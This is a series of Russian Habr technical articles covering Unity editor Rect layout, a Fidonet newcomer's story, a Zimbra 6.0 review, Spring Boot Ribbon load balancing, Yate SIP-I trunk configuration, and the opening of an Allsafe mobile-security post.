Источник [здесь](https://docs.unity3d.com/Manual/editor-PropertyDrawers.html).
**Еще вариант из очень красивого туториала**
```
Rect minRect = new Rect(position.x,
position.y,
position.width * 0.4f - 5,
position.height);
Rect mirroredRect = new Rect(position.x + position.width *
position.y,
position.width * 0.2f,
position.height);
Rect maxRect = new Rect(position.x + position.width * 0.6f + 5,
position.y,
position.width * 0.4f - 5,
position.height);
```
Источник [здесь](http://25games.net/2017/02/01/custom-property-drawers/).
**Все то же, но с сахаром**
```
var firstRect = new Rect(position){
width = position.width / 2
};
var secondRect = new Rect(position){
x = position.x + position.width / 2,
width = position.width / 2
};
EditorGUI.PropertyField(firstRect, property.FindPropertyRelative("first"));
EditorGUI.PropertyField(secondRect, property.FindPropertyRelative("second"));
```
Источник [здесь](https://github.com/LightGive/PropertyDrawerTest/blob/master/PropertyDrawerTest/Assets/Scripts/PropertyDrawer/Editor/PiyoDrawer.cs).
Ладно, туториалы хороши тогда, когда учат делать что-то одно, а не содержат все [лучшие практики](https://habrahabr.ru/post/309478/). Конкретно эти учат понакидать побольше магических чисел.
**То же самое, но без магических чисел**
```
float curveWidth = 50;
var sliderRect = new Rect (rect.x, rect.y, rect.width - curveWidth, rect.height)
EditorGUI.Slider (sliderRect, scale, min, max, label);
var curveRect = new Rect (rect.width - curveWidth, rect.y, curveWidth, rect.height);
EditorGUI.PropertyField (curveRect, curve, GUIContent.none);
```
Источник [здесь](https://blogs.unity3d.com/ru/2012/09/07/property-drawers-in-unity-4/).
Такой код тяжело читать в случаях, когда рисуется большое количество свойств.
Такой код тяжело поддерживать. Даже если мы рисуем три свойства и вдруг нужно добавить четвертое/пятое.
Однако есть способ лучше!
Один прямоугольник: нарисовал => подвинул
-----------------------------------------
**Пример из декомпилированных библиотек Unity**
```
float count = labels.Length;
float space = 2;
float width = (position.width - (count - 1) * space) / count;
position.width = num2;
for (int i = 0; i < count; i++){
EditorGUI.PropertyField(position, properties[i], labels[i]);
position.x += count + space;
}
```
Источник [здесь](https://github.com/MattRix/UnityDecompiled/blob/master/UnityEditor/UnityEditor/EditorGUI.cs)
**Еще один пример из Unity**
```
public override void OnGUI(Rect rect, SerializedProperty prop, GUIContent label) {
Rect position = rect;
float height = EditorGUIUtility.singleLineHeight;
float space = EditorGUIUtility.standardVerticalSpacing;
position.height = height;
var property = prop.FindPropertyRelative("m_NormalColor");
var property2 = prop.FindPropertyRelative("m_HighlightedColor");
var property3 = prop.FindPropertyRelative("m_PressedColor");
var property4 = prop.FindPropertyRelative("m_DisabledColor");
var property5 = prop.FindPropertyRelative("m_ColorMultiplier");
var property6 = prop.FindPropertyRelative("m_FadeDuration");
EditorGUI.PropertyField(position, property);
position.y += height + space;
EditorGUI.PropertyField(position, property2);
position.y += height + space;
EditorGUI.PropertyField(position, property3);
position.y += height + space;
EditorGUI.PropertyField(position, property4);
position.y += height + space;
EditorGUI.PropertyField(position, property5);
position.y += height + space;
EditorGUI.PropertyField(position, property6);
}
```
Источник [здесь](https://github.com/MattRix/UnityDecompiled/blob/master/UnityEditor.UI/UnityEditor.UI/ColorBlockDrawer.cs).
В этот раз код читается значительно лучше, и поддерживать его будет несколько проще. Однако все выглядит так хорошо только пока все поля класса имеют одинаковый размер на экране (в первом примере на равные части делится ширина, во-втором примере — высота).
Этот код значительно усложняется, если необходимо рисовать элементы разного размера.
Как это делают с RectEx
=======================
RectEx добавляет несколько методов, расширяющих класс Rect, но наиболее полезны два: **Column** и **Row**.
Почему такие странные названия?
Сначала я назвал их SplitVertically и SplitHorizontally. Оказалось слишком длинно, неудобно, да еще и не читалось.
Я попробовал SplitV и SplitH. Получилось короче и удобней. Однако, постоянно забываешь, что же каждый из них делает? Один режет горизонтальными линиями, другой — вертикальными. Или один возвращает горизонтальный столбец, другой — вертикальный?
На помощь как всегда пришла математика, а точнее господа Вектор-Столбец и Вектор-Строка (оба слова с большой, потому как господ фамилии двойные). Уж глядя на `rect.Row(5)` сразу понимаешь, что метод возвращает строку, а `rect.Column(5)` — столбец.
Дальше идут демонстрации.
**Режем на три равные части вертикальными линиями**
```
var rects = rect.Row(3);
EditorGUI.PropertyField(rects[0], property.FindPropertyRelative("first"));
EditorGUI.PropertyField(rects[1], property.FindPropertyRelative("second"));
EditorGUI.PropertyField(rects[2], property.FindPropertyRelative("third"));
```
**Режем на три равные части горизонтальными линиями**Я добавил `i++`, чтобы было проще менять строки местами.
```
var rects = rect.Column(3);
int i = 0;
EditorGUI.PropertyField(rects[i++], property.FindPropertyRelative("first"));
EditorGUI.PropertyField(rects[i++], property.FindPropertyRelative("second"));
EditorGUI.PropertyField(rects[i++], property.FindPropertyRelative("third"));
```
**Элементы разного размера**В этом примере мы передаем методу Column относительные веса, на основе которых получим: второй элемент в два раза больше первого, а третий — в три.
```
var rects = rect.Column(new float[]{1, 2, 3});
EditorGUI.PropertyField(rects[0], property.FindPropertyRelative("first"));
EditorGUI.PropertyField(rects[1], property.FindPropertyRelative("second"));
EditorGUI.PropertyField(rects[2], property.FindPropertyRelative("third"));
```
Для наглядности я [нарисовал](https://draw.io/) две симметричные картинки, на которых попытался показать пример использования методов Raw и Column (картинки кликабельные).
**Использование метода Row**[](https://habrastorage.org/webt/0f/7x/k-/0f7xk-7de3qp5-r-qi0vcgyuqcc.png)
**Использование метода Column**Вторая картинка — просто транспонированная первая: строки стали столбцами. Но я решил, что стоит нарисовать и её.
[](https://habrastorage.org/webt/8j/bf/u7/8jbfu7fb2z5c3casdtb0kcioyus.png)
Где взять?
==========
Текущая версия: [v0.1.0](https://github.com/slavniyteo/rect-ex/releases/tag/v0.1.0).
Попробовать можно на [гитхабе](https://github.com/slavniyteo/rect-ex). В ридми описаны остальные методы. | https://habr.com/ru/post/340858/ | null | ru | null |
# Fidonet. История одного пойнта (2010-й год)
#### Предисловие
Данная статья не претендует на то, чтобы стать руководством к действию, а лишь рассказывает историю о том, как отдельно взятый интернетчик подключился к сети Фидонет в (страшно представить) 2010-м году.
Тем, кто уже потянулся мышкой к окошечку «Написать комментарий», дабы оставить для потомков что-то вроде: «Федо — R.I.P.», рекомендую сделать три глубоких вдоха-выдоха и дочитать этот текст до конца.
#### История моего интереса к сети Fidonet (можно смело пропустить)
Впервые я услышал о Фидо в 2002-м году от кого-то из своих знакомых. В ту пору я был счастливым обладателем компьютера «я-тебя-слепила-из-того-что-было-а-чего-не-было-то-и-докупила» с модемным доступом в Интернет. Все, что было необходимо молодому подрастающему организму ~~чаты, порнография, приколы~~ к тому времени имелось в этих ваших Интернетах и разбираться с подключением к бесплатному, но такому малопонятному Фидонету не было никакого желания.
В 2003-м в лучших традициях эхоконференции SU.TORMOZ, спустя 4 года после опубликования, я прочитал книгу Алекса Экслера [«Записки невесты программиста»](http://www.exler.ru/novels/wife.htm) про гика-фидошника Серёгу и его даму сердца Ирину. Творение изобиловало здоровым фидошным юморком, а сам Фидонет был представлен именно как Сеть друзей со всеми вытекающими. :) Я решил поинтересоваться возможностью подключения, но узлов в славном городе Троицке Московской области на тот момент не оказалось. Возможно, я плохо искал.
Примерно в это же время в журнале «Хакер» вышла не самая радужная статья mindw0rk-а [«20 килобайт о Fidonet»](http://www.xakep.ru/magazine/xa/070/098/1.asp) по аналогии с известной [статьей Ника Филимонова](http://vp.propush.ru/index.php?q=node/42). Общий её смысл сводился к следующему: «Как же хорошо было раньше и как всё тухло теперь». Статья произвела ожидаемый демотивирющий эффект и о Сети друзей я забыл на долгие 6 лет.
###### Как это все-таки произошло…
За это время я успел закончить университет и даже начать работать по специальности. На этот раз катализатором интереса стал небезызвестный ресурс Луркморье, где помимо прочей лабуды публиковались [мемы Фидонета](http://lurkmore.ru/%D0%9A%D0%B0%D1%82%D0%B5%D0%B3%D0%BE%D1%80%D0%B8%D1%8F:%D0%A4%D0%B8%D0%B4%D0%BE). Прошерстив Интернет на предмет сайтов, которые помогут мне подключиться к Фидо, я набрёл на небольшой аккуратный сайт [узла 2:5020/2140](http://vp.propush.ru/). В отличие от других ресурсов, процесс подключения был достаточно подробно описан и единственное, что требовалось от конечного юзера – изменить несколько строчек в конфигурационном файле пакета FidoIP, который предлагался в качестве базового средства для работы с Фидо.
#### Этот загадочный Фидонет
Я списался с боссом Сергеем и выбрал себе понравившийся номер пойнта из незанятых. После отправки тестовых сообщений в локальную эхоконференицию (это такой аналог Usenet-конференций) и нетмейлом (аналог электронной почты), я мог считать себя полноценным фидошником.
Потом я тупил недели полторы. На мой взгляд, здесь и кроется первый подводный камень для большинства новичков. Нужно найти в себе силы не послать всё к чертям (ведь в интернете всё так просто!), а потратить некоторое время на знакомство с Фидо.
Передо мной встали три проблемы:
1. Неудобство (лично для меня) пакета FidoIP (конкретно в нем не устраивал редактор GoldEd).
2. Огромное количество технической информации и разного рода правил (местами архаичных).
3. Поиск живых эхоконференций.
**Проблема №1**
Я понимаю, что ностальгия это здорово, а если на должном уровне овладеть [GoldEd](http://traditio.ru/wiki/GoldED-NSF)-ом, то ничего другого использовать не захочется, но меня этот редактор не устраивал категорически. Во-первых, пока не запомнишь всех горячих клавиш, работа сводится к постоянному общению с FAQ. Во-вторых: окошечко терминала, постоянно висящее поверх документов (я работаю юристом) не слишком похоже на стандартное офисное приложение, а нарываться на вопрос начальника о том, что это я постоянно делаю в терминале тоже не хотелось.
**GoldED-NSF**
Немного погуглив, я остановил свой выбор на редакторе [HellEd](http://traditio.ru/wiki/HellEd). Несмотря на некоторую аляповатость интерфейса, после удаления «бантиков и рюшечек» он становится вполне пригодным для использования.
**HellEd**
Плюсы:
* полностью настраиваемый графический интерфейс (.Net 2.0) и русификация;
* великолепная работа с цветовыделением цитат, ориджинов, кладжей, и пр.;
* совместимость с горячими клавишами GoldEd-а.
Минусы:
* программа не развивается, последняя версия датируется 2008-м годом;
* по сравнению с другими программами достаточно серьёзно тормозит;
* содержит в дистрибутиве большое количество мусора.
**Проблема №2**
На первый взгляд, все правила эхоконференций разные, но достаточно внимательно прочитать «рулесы» двух-трех и остальные можно просто бегло просматривать. Плюс, перед тем как что-то постить, лучше пару дней понаблюдать за стилем и манерой общения её участников.
Кроме того, будет нелишним прочитать уже упоминаемую ранее статью [Ника Филимонова «64 килобайт о Fidonet»](http://vp.propush.ru/index.php?q=node/42).
**Проблема №3**
Сейчас поиск живых эх стал проблемой. Если раньше достаточно было подписаться на 3-4 популярные эхоконференции, чтобы полностью занять своё свободное время, то теперь популярные эхи нужно сначала отыскать.
Здесь укажу те ресурсы, которые использовал я:
*Статистка, доступная в Интернет:*
<http://www.shodtech.net/fidonet/readfidoecho>
<http://www.fido-online.com/x/_-0?El?5&0>
*Статистика в эхоконференциях (Фидо):*
2356.ROBOTS и TITANIC.OFFICIAL
*Поиск живых эх для ностальгирующих:*
Вводим в терминале: `telnet bbs.rndfido.net` и изучаем наполненность эх смахивая скупую мужскую слезу:
#### «Был нормальным фидошником, стал простым bbs-ником»
Хочу отметить, что босс Сергей Позитурин старается делать жизнь простых пойнтов проще и удобнее. С недавнего времени он открыл доступ к эхоконференциям через nntp.
Теперь пойнты могут читать и писать в фидошку через стандартные ньюсридеры. Для меня это особенно актуально, так как появилась возможность использовать для этих целей Claws-Mail на своей таблетке Nokia N810.
**Claws-mail (Nokia N810)**
Так это выглядит на стационарном компьютере с Windows XP:
**Mozilla Thunderbird 3**
**Outlook Express 6 с надстройкой Fidolook**
#### Вместо заключения
Я в Фидо пару месяцев, но хочу сказать следующее:
* здесь много умных и интересных людей;
* напрочь отсутствует так называемая «школота»;
* слухи и пришествии Великого и Гипертекстового серьезно преувеличены, по крайней мере внутри самой сети «великость и гипертекстовость» расценивается скорее как шутка;
* Фидонет будет жить своей особой жизнью еще много лет. Я вживую видел Энтузиастов с Большой буквы и нисколько в этом не сомневаюсь.
Засим, разрешите откланяться.
С уважением, Ваш *2:5020/2140.12*
**P.S.:** [easy\_john](https://habrahabr.ru/users/easy_john/) написал замечательную [статью «Немного о развитии общения в сети»](http://habrahabr.ru/blogs/fido/91639/), в которой указал на отличия fidonet и usenet-конференций от современных форумов и блогов, а также предложил свой вариант дальнейшего развития общения в сетях.
**P.S.S.: Сергей Позитурин 2:5020/2140 просил всех обратившихся к нему за получением поинтового адреса найти себя в этом списке: [vp.propush.ru/index.php?q=node/46](http://vp.propush.ru/index.php?q=node/46) Туда попали заявки тех, кто обратился к нему до 10 утра 22.04.2010. Он обязательно ответит всем. Дождитесь, пожалуйста.** | https://habr.com/ru/post/91591/ | null | ru | null |
# Мини-обзор Zimbra 6.0 RC1 GunsNRoses
С момента написания мною прошлой [статьи](http://hidx.habrahabr.ru/blog/60377/) про Zimbra прошло много времени. Уже успел выйти Zimbra ZCS 6.0 beta1, а за ним и beta2.
Новая версия популярного почтового сервера получила название в честь американской рок-группы 80-х «GunsNRoses». Собственно как я уже говорил в прошлой статье, одной из самой важной частью проекта по переходу офиса на СПО является собственный почтовый сервер компании, который будет обеспечивать основной бизнес процесс компании — электронный документо-оборот. Помимо этого, хотелось получить максимум от почты, а именно общие календари, задачи, документы, чаты, веб интерфейс и т.д. Одним словом, что то типо бесплатного Exchange сервера ))
Судя по официальным данным, финальная версия ZIMBRA CS 6.0 GunsNRoses выйдет 31 августа 2009 года. Осталось совсем не много.
На днях разработчики порадовали нас выходом RC1. Собственно хотелось бы поговорить о ней… и написать некий мини обзор почтовой системы. Глубоко копаться не будем, опишу только всякие мелочи и функционал системы.
Тестировать буду всё это дело на Debian Lenny. Хоть официально он ещё не поддерживается, но судя по вот этой ссылочке работы над этим ведуться (http://bugzilla.zimbra.com/show\_bug.cgi?id=34921). Мне пока пришлось править установочный скрипт.
По поводу установки вы можете почитать в моей прошлой статье.
Стандартная установка, без сюрпризов….из компонентов поставил:
`zimbra-core
zimbra-ldap
zimbra-logger
zimbra-mta
zimbra-snmp
zimbra-store
zimbra-apache
zimbra-spell`
**##### Раздел администратора:**
Тут особых изменений я не заметил. Всё так же как и в 5 версии Zimbra. Довольно привычный и лёгкий интерфейс. Единственное, заметил несколько ошибок в переводе админки…но это мелочи.
Так же есть проблемы с отображением структуры страниц в Internet Explorer 8. В Firefox всё в порядке.
**##### Классы обслуживания и политика доменов.**
Тут хотелось бы разъяснить функционал этих разделов. Собственно как и в Exchange тут можно создавать групповые политики, которые можно назначить либо всем пользователям, либо некоторым пользователям. Эти политики позволяют упростить настройку почтовых ящиков.
Класс обслуживания, это политика, которая предоставляет детальные настройки почтовых ящиков. К примеру, можно ограничить всем пользователям пользоваться задачами, чатом…. или можно назначить всем общий шрифт для составления писем. Ну и так далее.
А в свойствах домена, можно настроить лишь технические настройки ящиков этого домена…
Советую прежде чем создавать пользователей, сначала создать свой (или изменить готовый) класс обслуживания, а лишь потом добавлять пользователей.
**##### Раздел Серверы**
Тут можно настроить службы почтового сервера, а так же некоторые протоколы.
**##### Почтовый клиент Zimbra и Web Клиент.**
Что бы **полноценно** (по мимо самой почты) пользоваться почтовым сервером Zimbra, необходимо использовать либо Web клиент, либо родной клиент Zimbra Desktop который можно скачать на сайте производителя. Так же есть вариант попробовать…mozilla thunderbird с надстройкой Zimbra.
**Полноценно** — означает общие календари, задачи, ежедневник, документы, доступ… и т.д.
У себя в компании я планирую всем ставить клиент Zimbra Desktop.
Хотелось бы сказать, о минусах данного клиента:
•Во первых, пока не существует Zimbra Desktop для многопользовательского использования.
•Во вторых, есть проблемы установки клиента пользователям имеющими права пользователя.
•В третьих, при запуске клиента, он почему то ломится в интернет (по крайней мере у меня это было). И если интернета у пользователя нет, либо он раздаётся через проксю, то клиент не запускается.
•В четвертых, в клиенте не реализована поддержка чатов с пользователями.
В остальном это хороший клиент…
По поводу Web клиента сказать ничего не могу, тут всё красиво и хорошо работает…
**##### Использование Zimbra в корпоративной среде:**
Вот тут хотелось бы поподробней остановиться на использовании Zimbra в компании.
Вообще у Zimbra есть практически весь функционал MS Exchange Server. Есть проверка на вирусы почты прямо из коробки, есть общие календари, общие задачи ну и так далее.
Сам функционал совмесной работы реализован очень хорошо. К примеру каждый пользователь может расшарить любую папку почты (к примеру Входящие) для любого другого пользователя.
Или можно пообщаться в корпоративном чате с пользователями – друзьями, что бы не присылать по 100 писем на дню.
Но на фоне этого всего всплывают много недоработанных мелочей. Я не могу их всех перечислить… но уверен что разработчики исправят все.
Я с нетерпением жду новых версий Zimbra Desktop, т.к. Она кажется немного не доработанной… нет многопользовательской поддержки….нет чатов, зимлеты установленные на сервере не устанавливаются в клиенте и так далее.
Так же есть претензии к корпоративной подписи у пользователей. У нас в компании руководство очень внимательно относиться к подписи пользователей. Она должна быть у всех одинаковая, с личными данными. Я конечно так глубоко не копался в Zimbra. Но меня немного напрягло то, что с помощью классов обслуживания нельзя всем установить общий шаблон почты… Так же в подписи не работают теги ${RECIPIENT\_NAME} и ${RECIPIENT\_ADDRESS}.
Ну вот пожалуй и всё что я хотел написать.
Полные нововведения Zimbra CS 6.0 можно увидеть **[ТУТ](http://pm.zimbra.com/pm_release.php?rel=6.0)** | https://habr.com/ru/post/66002/ | null | ru | null |
# Микросервисы со Spring Boot. Часть 4. Использование Ribbon для балансировки нагрузки
Это часть 4 серии о микросервисных архитектурах, в которой мы сосредоточимся на использовании Ribbon для балансировки нагрузки.
Это статья входит в серию статей «Микросервисы со Spring Boot»:
* [Часть 1. Начало работы с архитектурой микросервисов](https://habr.com/post/484130/)
* [Часть 2. Создание микросервиса Forex](https://habr.com/ru/post/484864/)
* [Часть 3. Создание микросервиса конвертации валют](https://habr.com/ru/post/485094/)
* Часть 4. Использование Ribbon для балансировки нагрузки
* Часть 5. Использование сервера имен Eureka
В этой серии статей вы познакомитесь с концепцией микросервисов и узнаете, как создавать микросервисы с помощью Spring Boot и Spring Cloud.
Это руководство поможет вам изучить основы микросервисных архитектур. Мы также начнем рассматривать базовую реализацию микросервиса со Spring Boot.
Мы создадим пару микросервисов и заставим их общаться друг с другом с помощью сервера имен Eureka (Eureka Naming Server) и Ribbon для балансировки нагрузки на стороне клиента.
В этом туториале мы продолжим рассказ о том, как использовать Ribbon в качестве балансировщика нагрузки в проекте Spring Boot микросервисов.
### Вы изучите:
* Что нужно для балансировки нагрузки?
* Что такое Ribbon?
* Как добавить Ribbon в проект Spring Boot?
* Как включить и настроить Ribbon для балансировки нагрузки?
### Обзор микросервисов
В предыдущих двух частях мы создали микросервисы и установили связь между ними.
```
GET to http://localhost:8100/currency-converter-feign/from/EUR/to/INR/quantity/10000
```
```
{
id: 10002,
from: "EUR",
to: "INR",
conversionMultiple: 75,
quantity: 10000,
totalCalculatedAmount: 750000,
port: 8000,
}
```
Когда мы запустим вышеуказанный сервис, вы увидите, что запрос также отправляется на Forex сервис. Это классно!
Мы создали два микросервиса и установили связь между ними.
Однако мы захардкодили URL для FS в компоненте CCS, CurrencyExchangeServiceProxy.
```
@FeignClient(name="forex-service" url="localhost:8000")
public interface CurrencyExchangeServiceProxy {
@GetMapping("/currency-exchange/from/{from}/to/{to}")
public CurrencyConversionBean retrieveExchangeValue
(@PathVariable("from") String from, @PathVariable("to") String to);
}
```
Это означает, что при запуске новых экземпляров Forex сервис у нас нет возможности распределить нагрузку на них.
В этой части давайте теперь включим распределение нагрузки на стороне клиента с помощью Ribbon.
### Вам понадобятся:
* Maven 3.0+ — ваш инструмент для сборки
* Ваш любимый IDE. Мы используем Eclipse.
* JDK 1.8+
### Готовый проект Maven с примерами кода
> В [Github репозитории](https://github.com/in28minutes/spring-boot-examples/tree/master/spring-boot-basic-microservice) есть все примеры кода.
### Включение Ribbon
Добавьте Ribbon зависимость в pom.xml:
```
org.springframework.cloud
spring-cloud-starter-ribbon
```
Включите RibbonClient в CurrencyExchangeServiceProxy:
```
@FeignClient(name="forex-service")
@RibbonClient(name="forex-service")
public interface CurrencyExchangeServiceProxy {
```
Настройте экземпляры в application.properties:
```
forex-service.ribbon.listOfServers=localhost:8000,localhost:8001
```
### Запустите сервис Forex на 8001
На предыдущем шаге мы настроили Ribbon для распределения нагрузки по экземплярам. Однако у нас нет ни одного экземпляра Forex Service, работающего на 8001.
Мы можем запустить его, настроив конфигурацию запуска, как показано на рисунке ниже:
### Ribbon в действии
В настоящее время у нас есть следующие сервисы:
* Конвертер валют микросервис (CCS) на 8100
* Два экземпляра микросервиса Forex на 8000 и 8001
Теперь вы увидите, что запросы к CCS будут распределяться между двумя экземплярами микросервиса Forex через Ribbon.
#### Запрос 1
```
GET to http://localhost:8100/currency-converter-feign/from/EUR/to/INR/quantity/10000
```
#### Запрос 2
```
GET to http://localhost:8100/currency-converter-feign/from/EUR/to/INR/quantity/10000
```
Вы можете заметить, что номера портов в двух ответах различны.
### Резюме
Мы создали два микросервиса и установили связь между ними.
Мы используем Ribbon для распределения нагрузки между двумя экземплярами сервиса Forex.
Однако мы жестко кодируем URL обоих экземпляров FS в CCS. Это означает, что каждый раз, когда появляется новый экземпляр FS, нам нужно будет изменить конфигурацию CCS. Это не круто.
В следующей части мы будем использовать Eureka Naming Server для решения этой проблемы. | https://habr.com/ru/post/485608/ | null | ru | null |
# Настройка SIP-I/SIP-T транка с помощью Yate
Добрый день, коллеги.
У меня плохо получается излагать свои мысли в письменном виде (да и не родной для меня русский язык), но постараюсь описать свой метод настройки данного типа транка.
Так получилось, что наш местный телеком начал давать доступ в PSTN другим VoIP провайдерам лишь посредством протокола SIP-I. Тем кто успел подключится по E1/SS7 повезло (а может и нет), а новым приходится как-то выкручиваться: одни покупают дорогие софтсвичи, другие ищут варианты подешевле, а то и бесплатно. Мы пошли вторым путем. Если интересно чем это все закончилось, добро пожаловать под кат.
#### Введение
SIP-I и SIP-T относятся к двум очень похожим между собой технологиям для взаимодействия ISUP и SIP сетей. В частности они предоставляют методы для транспортировки конкретных ISUP параметров через сеть основанной на протоколе SIP, так что вызовы инициированные и терминированные в сетях ISUP могут спокойно проходить через сеть SIP, без потери информации.
SIP-T был разработан IETF — та же контора которая разработала сам SIP. Примерно в тоже время была разработана последняя версия SIP (середина 2002-го). Данный протокол описан в RFC 3372, RFC 3398, RFC 3578 и RFC 3204.
SIP-I был разработан ребятами из ITU в 2004-ом году и использует большинство конструкций определенных в SIP-T. Он описан в ITU-T Q.1912.5.
Оба протокола описывают методы маппинга сообщений, параметров и кодов ошибок между SIP и ISUP. Так же они полностью совместимы с обычной сетью основанной на SIP.
SIP-I отличается от SIP-T тем, что использует много стандартов и драфтов IETF, да и намного богаче в параметрах которые позволяет передавать. SIP-I содержит не только базовые параметры звонка, но и позволяет использовать параметры дополнительных услуг, таких как CLIP и CLIR.
На данный момент в вариантах связи SoftSwitch — SoftSwitch, SIP-T более распостранен. Например в CDMA2000 он используется для взаимодействия между MSC. SIP-I рассматривается как вариант для взаимодействия между SoftSwitch-ом и обычными сетями в 3GPP.
Дабы не нагружать вас сухой теорией, покажу как выглядит в WireShark дамп такого звонка:
Как видно в Message Body был добавлен раздел «application/isup» где в свою очередь были инкапсулированы все поля ISUP.
#### Настройка
В интернете вообще очень мало информации по настройке данных протоколов, а реальных примеров днем с огнем не сыщешь. Мы довольно основательно подошли к этому делу и наткнулись на [Yate](http://yate.null.ro/pmwiki/).
Yate позиционирует себя как телефонный движок нового поколения. Его трудно как-то выделить по классу, так как он умеет все. Написан он румынскими программистами из Null Team. На хабре есть несколько статей про него, но там он используется в других решениях.
Плюсы:
1. Написан на C++.
2. Модульная структура.
3. Есть [модули](http://yate.null.ro/pmwiki/index.php?n=Main.Features) на все случаи жизни.
4. Позволяет писать конфигурацию на разных языках программирования: php, perl, python, javascript.
Минусы:
1. Очень мало документации. Мне например пришлось полностью читать исходники чтобы понять до конца принципы его работы. Кстати в почтовой рассылке люди жалуются на это, но как сказал один мудрый человек: «Документация у Yate есть, и она очень хорошая, просто написана на C++».
Я не буду описывать процесс установки и первоначальной настройки. Их можно найти на сайте проекта и на [хабре](http://habrahabr.ru/post/82331/). Я опишу лишь основные моменты чтобы наш софтсвитч начал понимать SIP-I/SIP-T.
И так, чтобы Yate смог кодировать и декодировать поля из «application/isup» надо включить следующий параметр в файле ysipchan.conf:
```
[sip-t]
isup=enable
```
После этого при входящем звонке от телекома в стандартных сообщениях Yate появятся поля isup как на примере ниже. Эти поля мы уже можем использовать при маршрутизации и биллинге.
```
Sniffed 'call.preroute' time=1350892372.716302
thread=0x7f017c011600 'Call Router'
data=(nil)
retval='(null)'
param['id'] = 'sip/4'
param['module'] = 'sip'
param['status'] = 'incoming'
param['address'] = '172.xxx.xxx.xxx:5060'
param['billid'] = '1350892357-3'
param['answered'] = 'false'
param['callid'] = 'sip/SBCxdl85tuup8zxylqx8xbcdp5pcvtbtpw8@SoftX3000/zxzlwuzt-CC-23/'
param['message-prefix'] = 'isup.'
param['isup.protocol-type'] = 'itu-t92+'
param['isup.protocol-type'] = 'itu-t'
param['isup.message-type'] = 'IAM'
param['isup.NatureOfConnectionIndicators'] = '0sat,cont-check-none,echodev'
param['isup.ForwardCallIndicators'] = 'national,e2e-none,interworking,isup-notreq,sccp-none'
param['isup.CallingPartyCategory'] = 'ordinary'
param['isup.TransmissionMediumRequirement'] = '3.1khz-audio'
param['isup.CalledPartyNumber'] = 'xxxxxxxxx'
param['isup.CalledPartyNumber.nature'] = 'subscriber'
param['isup.CalledPartyNumber.plan'] = 'isdn'
param['isup.CalledPartyNumber.inn'] = 'false'
param['isup.OptionalForwardCallIndicators'] = 'non-CUG'
param['isup.CallingPartyNumber'] = 'xxxxxxxxx'
param['isup.CallingPartyNumber.nature'] = 'national'
param['isup.CallingPartyNumber.plan'] = 'isdn'
param['isup.CallingPartyNumber.complete'] = 'true'
param['isup.CallingPartyNumber.restrict'] = 'allowed'
param['isup.CallingPartyNumber.screened'] = 'network-provided'
param['isup.PropagationDelayCounter'] = '0'
param['isup.LocationNumber'] = ''
param['isup.LocationNumber.nature'] = '0'
param['isup.LocationNumber.plan'] = 'unknown'
param['isup.LocationNumber.inn'] = 'true'
param['isup.LocationNumber.restrict'] = 'unavailable'
param['isup.LocationNumber.screened'] = 'network-provided'
param['isup.ParameterCompatInformation.PropagationDelayCounter'] = 'transit,cnf,discard-param,nopass-param'
param['isup.ParameterCompatInformation.EchoControlInformation'] = 'transit,nopass-param'
param['isup.ParameterCompatInformation'] = '31 d4 37 c0'
param['isup.parameters-unhandled-cnf'] = 'PropagationDelayCounter'
param['caller'] = 'xxxxxxxxx'
param['called'] = 'xxxxxxxxx'
param['ip_transport'] = 'UDP'
param['newcall'] = 'true'
param['domain'] = '172.xxx.xxx.xxx'
param['device'] = 'Huawei SoftX3000 V300R010'
param['username'] = ''
param['xsip_nonce_age'] = '0'
param['antiloop'] = '19'
param['ip_host'] = '172.xxx.xxx.xxx'
param['ip_port'] = '5060'
param['ip_transport'] = 'UDP'
param['sip_uri'] = 'sip:xxxxxxxxx@172.xxx.xxx.xxx:5060;user=phone'
param['sip_from'] = 'sip:xxxxxxxxx@172.xxx.xxx.xxx;user=phone'
param['sip_to'] = ''
param['sip\_callid'] = 'SBCxdl85tuup8zxylqx8xbcdp5pcvtbtpw8@SoftX3000'
param['device'] = 'Huawei SoftX3000 V300R010'
param['sip\_allow'] = 'INVITE,ACK,OPTIONS,BYE,CANCEL,REGISTER,INFO,PRACK,SUBSCRIBE,NOTIFY,UPDATE,MESSAGE,REFER'
param['sip\_supported'] = '100rel'
param['sip\_user-agent'] = 'Huawei SoftX3000 V300R010'
param['sip\_privacy'] = 'none'
param['sip\_p-charging-vector'] = 'icid-value=0a.0a.00.0a-2012102210555100;orig-ioi=www.huawei.com;icid-generated-at=172.xxx.xxx.xxx'
param['sip\_p-asserted-identity'] = ''
param['sip\_contact'] = ''
param['sip\_content-type'] = 'multipart/mixed;boundary=ssboundary-1\_'
param['rtp\_addr'] = '172.xxx.xxx.xxx'
param['media'] = 'yes'
param['formats'] = 'alaw,mulaw'
param['transport'] = 'RTP/AVP'
param['rtp\_rfc2833'] = 'false'
param['rtp\_port'] = '40016'
param['rtp\_forward'] = 'possible'
```
Исходящий звонок от нас выглядит так (regexroute.conf):
```
; Контекст определенный на этапе preroute
[PSTN]
; Выставляем параметры для всех звонков попавших в данный контекст.
.*=;osip_P-Asserted-Identity=;\
message-prefix=isup.;\
isup.message-type=IAM;\
isup.protocol-type=itu-t92+;\
isup.NatureOfConnectionIndicators=echodev;\
isup.CallingPartyCategory=ordinary;\
isup.ForwardCallIndicators=national,e2e-none,interworking,isup-notreq,sccp-none;\
isup.TransmissionMediumRequirement=3.1khz-audio;\
isup.CalledPartyNumber=${called};\
isup.CalledPartyNumber.nature=national;\
isup.CalledPartyNumber.plan=isdn;\
isup.CalledPartyNumber.inn=false;\
isup.CallingPartyNumber=${caller};\
isup.CallingPartyNumber.nature=national;\
isup.CallingPartyNumber.plan=isdn;\
isup.CallingPartyNumber.complete=true;\
isup.CallingPartyNumber.restrict=allowed;\
isup.CallingPartyNumber.screened=network-provided
; Уже сама маршрутизация
.\*=sip/sip:${called}@172.xxx.xxx.xxx
```
Вот и все. Теперь все SIP инвайты от нас идут с полями ISUP в Message Body.
Если у уважаемого сообщества есть вопросы буду рад ответить. Мы на Yate собаку съели и смогли разобраться во многих нюансах. | https://habr.com/ru/post/156469/ | null | ru | null |
# Первые шаги в анализе безопасности мобильных приложений: разбираемся на примере Allsafe
Allsafe — это приложение, намеренно спроектированное небезопасным. Для чего это нужно? Оно предназначено для обучения поиску различных уязвимостей. В отличие от других подобных приложений для Android, оно использует современные библиотеки и технологии. Меньше похоже на CTF и больше похоже на реальное приложение. В этом посте мы разберем его уязвимости с точки зрения двух подходов: статического и динамического тестирования безопасности.
1. Введение
-----------
